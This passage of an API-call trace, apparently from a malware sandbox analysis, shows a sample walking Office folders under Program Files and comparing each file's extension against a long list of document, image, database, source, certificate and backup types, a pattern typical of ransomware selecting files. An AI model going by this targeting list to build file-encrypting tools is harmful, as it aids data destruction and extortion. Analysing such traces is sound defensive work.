(lpString1=".dib", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0074.002] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0074.002] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0074.002] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0074.003] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0074.003] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0074.003] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0074.003] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0074.004] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0074.004] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0074.004] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0074.004] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0074.005] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0074.005] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0074.005] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0074.005] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0074.006] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0074.006] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0074.006] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0074.006] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0074.007] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0074.007] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0074.008] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0074.008] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0074.008] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0074.009] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0074.010] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0074.011] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0074.012] lstrcmpiW (lpString1=".onetoc2", lpString2="2MUI.XML") returned -1 [0074.012] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0074.012] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0074.013] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0074.013] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0074.014] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0074.014] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0074.014] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0074.014] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0074.014] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0074.014] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0074.014] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0074.014] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0074.014] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0074.014] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0074.014] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0074.014] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0074.015] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0074.015] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0074.015] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0074.015] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0074.015] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.015] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0074.015] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0074.015] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0074.015] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0074.015] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0074.016] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0074.016] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0074.016] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.017] lstrcmpiW (lpString1=".raw", lpString2=".XML") returned -1 [0074.017] lstrcmpiW (lpString1=".rdf", lpString2=".XML") returned -1 [0074.017] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0074.017] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f43ff8 | out: hHeap=0x5d0000) returned 1 [0074.772] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0074.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned 91 [0074.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f43ff8 [0074.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned 91 [0074.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3260 [0074.780] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.780] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.780] lstrlenW (lpString="Office32WW.XML") returned 14 [0074.780] lstrlenW (lpString=".1cd") returned 4 [0074.780] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.780] lstrlenW (lpString=".3ds") returned 4 [0074.780] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0074.780] lstrlenW (lpString=".3fr") returned 4 [0074.780] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0074.781] lstrlenW (lpString=".3g2") returned 4 [0074.781] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0074.781] lstrlenW (lpString=".3gp") returned 4 [0074.781] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0074.781] lstrlenW (lpString=".7z") returned 3 [0074.781] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.781] lstrlenW (lpString=".accda") returned 6 [0074.781] lstrcmpiW (lpString1=".accda", lpString2="WW.XML") returned -1 [0074.781] lstrlenW (lpString=".accdb") returned 6 [0074.781] lstrcmpiW (lpString1=".accdb", lpString2="WW.XML") returned -1 [0074.781] lstrlenW (lpString=".accdc") returned 6 [0074.781] lstrcmpiW (lpString1=".accdc", lpString2="WW.XML") returned -1 [0074.781] lstrlenW (lpString=".accde") returned 6 [0074.781] lstrcmpiW (lpString1=".accde", lpString2="WW.XML") returned -1 [0074.781] lstrlenW (lpString=".accdt") returned 6 [0074.781] lstrcmpiW (lpString1=".accdt", lpString2="WW.XML") returned -1 [0074.781] lstrlenW (lpString=".accdw") returned 6 [0074.781] lstrcmpiW (lpString1=".accdw", lpString2="WW.XML") returned -1 [0074.781] lstrlenW (lpString=".adb") returned 4 [0074.781] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0074.781] lstrlenW (lpString=".adp") returned 4 [0074.782] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".ai") returned 3 [0074.782] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0074.782] lstrlenW (lpString=".ai3") returned 4 [0074.782] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".ai4") returned 4 [0074.782] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".ai5") returned 4 [0074.782] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".ai6") returned 4 [0074.782] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".ai7") returned 4 [0074.782] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".ai8") returned 4 [0074.782] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".anim") returned 5 [0074.782] lstrcmpiW (lpString1=".anim", lpString2="W.XML") returned -1 [0074.782] lstrlenW (lpString=".arw") returned 4 [0074.782] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0074.782] lstrlenW (lpString=".as") returned 3 [0074.782] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0074.782] lstrlenW (lpString=".asa") returned 4 [0074.783] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".asc") returned 4 [0074.783] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".ascx") returned 5 [0074.783] lstrcmpiW (lpString1=".ascx", lpString2="W.XML") returned -1 [0074.783] lstrlenW (lpString=".asm") returned 4 [0074.783] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".asmx") returned 5 [0074.783] lstrcmpiW (lpString1=".asmx", lpString2="W.XML") returned -1 [0074.783] lstrlenW (lpString=".asp") returned 4 [0074.783] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".aspx") returned 5 [0074.783] lstrcmpiW (lpString1=".aspx", lpString2="W.XML") returned -1 [0074.783] lstrlenW (lpString=".asr") returned 4 [0074.783] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".asx") returned 4 [0074.783] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".avi") returned 4 [0074.783] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0074.783] lstrlenW (lpString=".avs") returned 4 [0074.783] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".backup") returned 7 [0074.784] lstrcmpiW (lpString1=".backup", lpString2="2WW.XML") returned -1 [0074.784] lstrlenW (lpString=".bak") returned 4 [0074.784] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".bay") returned 4 [0074.784] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".bd") returned 3 [0074.784] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0074.784] lstrlenW (lpString=".bin") returned 4 [0074.784] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".bmp") returned 4 [0074.784] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".bz2") returned 4 [0074.784] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".c") returned 2 [0074.784] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0074.784] lstrlenW (lpString=".cdr") returned 4 [0074.784] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".cer") returned 4 [0074.784] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0074.784] lstrlenW (lpString=".cf") returned 3 [0074.784] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0074.784] lstrlenW (lpString=".cfc") returned 4 [0074.784] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".cfm") returned 4 [0074.785] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".cfml") returned 5 [0074.785] lstrcmpiW (lpString1=".cfml", lpString2="W.XML") returned -1 [0074.785] lstrlenW (lpString=".cfu") returned 4 [0074.785] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".chm") returned 4 [0074.785] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".cin") returned 4 [0074.785] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".class") returned 6 [0074.785] lstrcmpiW (lpString1=".class", lpString2="WW.XML") returned -1 [0074.785] lstrlenW (lpString=".clx") returned 4 [0074.785] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".config") returned 7 [0074.785] lstrcmpiW (lpString1=".config", lpString2="2WW.XML") returned -1 [0074.785] lstrlenW (lpString=".cpp") returned 4 [0074.785] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".cr2") returned 4 [0074.785] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".crt") returned 4 [0074.785] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".crw") returned 4 [0074.785] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0074.785] lstrlenW (lpString=".cs") returned 3 [0074.786] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0074.786] lstrlenW (lpString=".css") returned 4 [0074.786] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".csv") returned 4 [0074.786] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".cub") returned 4 [0074.786] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".dae") returned 4 [0074.786] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".dat") returned 4 [0074.786] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".db") returned 3 [0074.786] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0074.786] lstrlenW (lpString=".dbf") returned 4 [0074.786] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".dbx") returned 4 [0074.786] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".dc3") returned 4 [0074.786] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".dcm") returned 4 [0074.786] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0074.786] lstrlenW (lpString=".dcr") returned 4 [0074.787] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".der") returned 4 [0074.787] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".dib") returned 4 [0074.787] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".dic") returned 4 [0074.787] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".dif") returned 4 [0074.787] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".divx") returned 5 [0074.787] lstrcmpiW (lpString1=".divx", lpString2="W.XML") returned -1 [0074.787] lstrlenW (lpString=".djvu") returned 5 [0074.787] lstrcmpiW (lpString1=".djvu", lpString2="W.XML") returned -1 [0074.787] lstrlenW (lpString=".dng") returned 4 [0074.787] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".doc") returned 4 [0074.787] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.787] lstrlenW (lpString=".docm") returned 5 [0074.787] lstrcmpiW (lpString1=".docm", lpString2="W.XML") returned -1 [0074.787] lstrlenW (lpString=".docx") returned 5 [0074.787] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0074.788] lstrlenW (lpString=".dot") returned 4 [0074.788] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dotm") returned 5 [0074.788] lstrcmpiW (lpString1=".dotm", lpString2="W.XML") returned -1 [0074.788] lstrlenW (lpString=".dotx") returned 5 [0074.788] lstrcmpiW (lpString1=".dotx", lpString2="W.XML") returned -1 [0074.788] lstrlenW (lpString=".dpx") returned 4 [0074.788] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dqy") returned 4 [0074.788] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dsn") returned 4 [0074.788] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dt") returned 3 [0074.788] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0074.788] lstrlenW (lpString=".dtd") returned 4 [0074.788] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dwg") returned 4 [0074.788] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dwt") returned 4 [0074.788] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0074.788] lstrlenW (lpString=".dx") returned 3 [0074.788] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0074.789] lstrlenW (lpString=".dxf") returned 4 [0074.789] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".edml") returned 5 [0074.789] lstrcmpiW (lpString1=".edml", lpString2="W.XML") returned -1 [0074.789] lstrlenW (lpString=".efd") returned 4 [0074.789] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".elf") returned 4 [0074.789] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".emf") returned 4 [0074.789] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".emz") returned 4 [0074.789] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".epf") returned 4 [0074.789] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".eps") returned 4 [0074.789] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0074.789] lstrlenW (lpString=".epsf") returned 5 [0074.789] lstrcmpiW 